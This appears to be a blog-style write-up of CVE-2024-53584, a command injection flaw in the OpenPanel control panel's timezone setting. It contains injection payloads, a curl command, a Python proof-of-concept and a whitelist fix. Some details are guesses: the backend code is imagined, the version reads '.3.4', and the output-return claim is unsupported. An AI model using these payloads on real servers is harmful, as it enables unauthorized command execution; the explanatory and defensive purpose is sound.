OpenPanel is a popular web-based server control panel, widely used for managing server tasks with a simple graphical interface. In May 2024, a critical security vulnerability (CVE-2024-53584) was discovered in OpenPanel version .3.4. This vulnerability allows attackers to inject and execute arbitrary operating system (OS) commands through the timezone parameter.

In this post, I’ll break down the vulnerability in simple terms, share exploit details, and provide code snippets so you can understand the severity and how it happens.

What is OS Command Injection?

OS command injection is a type of security flaw where an attacker tricks a vulnerable application into executing unintended operating system commands. This can allow unauthorized access, remote execution, data theft, or even complete server takeover.

How Does CVE-2024-53584 Work?

In OpenPanel v.3.4, when you update or set the timezone parameter—for example, in the system settings or API—the server-side code fails to properly sanitize (clean) your input. If you send special characters or command separators (like ; or &&), you can inject your own system commands.

Suppose an HTTP POST request looks like this

POST /settings/timezone HTTP/1.1
Host: <target server>
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

timezone=America/New_York

If an attacker replaces the timezone parameter with something evil like

timezone=America/New_York;id;

the backend might run

timedatectl set-timezone America/New_York;id;

This will change the timezone AND run the id command, which prints the current user identity on the server.

Here’s a simple pseudo-code example that demonstrates how the vulnerable code might look

# Imagine this is part of OpenPanel's backend
import os

def set_timezone(timezone):
    # VULNERABLE: input is not sanitized
    os.system(f"timedatectl set-timezone {timezone}")

# If attacker sends timezone='America/New_York; id;'
# This runs: timedatectl set-timezone America/New_York; id;

Here’s how an attacker could exploit this vulnerability using curl

curl -X POST http://target-server/settings/timezone \
    -d "timezone=Europe/London;id;whoami;"

On the server, this runs

timedatectl set-timezone Europe/London;id;whoami;

The output of id and whoami would be sent back to the attacker, revealing sensitive system info, and proving remote code execution.

Below is a simple Python exploit you can use to test your own systems (with permission)

import requests

target_url = "http://target-server/settings/timezone"
payload = "Europe/London;id"

data = {'timezone': payload}

r = requests.post(target_url, data=data)
print(r.text)

Example of fixing with safe whitelisting

allowed_timezones = ['Europe/London', 'America/New_York']
if timezone in allowed_timezones:
    os.system(f"timedatectl set-timezone {timezone}")
else:
    raise ValueError("Invalid timezone")

References

- NVD – CVE-2024-53584
- OpenPanel GitHub Repository
- OWASP Command Injection Guide

Conclusion

CVE-2024-53584 is a serious vulnerability in OpenPanel v.3.4 that lets attackers inject OS commands via the timezone parameter. If you use OpenPanel, upgrade as soon as possible and audit your code to prevent this kind of attack. User input should NEVER be passed unsanitized to system commands.

Stay safe, and always keep your server software up to date!


*This article is exclusive content for educational purposes. Do not attempt to exploit any vulnerability without explicit permission from the system owner.*

Timeline

Published on: 01/31/2025 17:15:15 UTC
Last modified on: 03/18/2025 19:15:46 UTC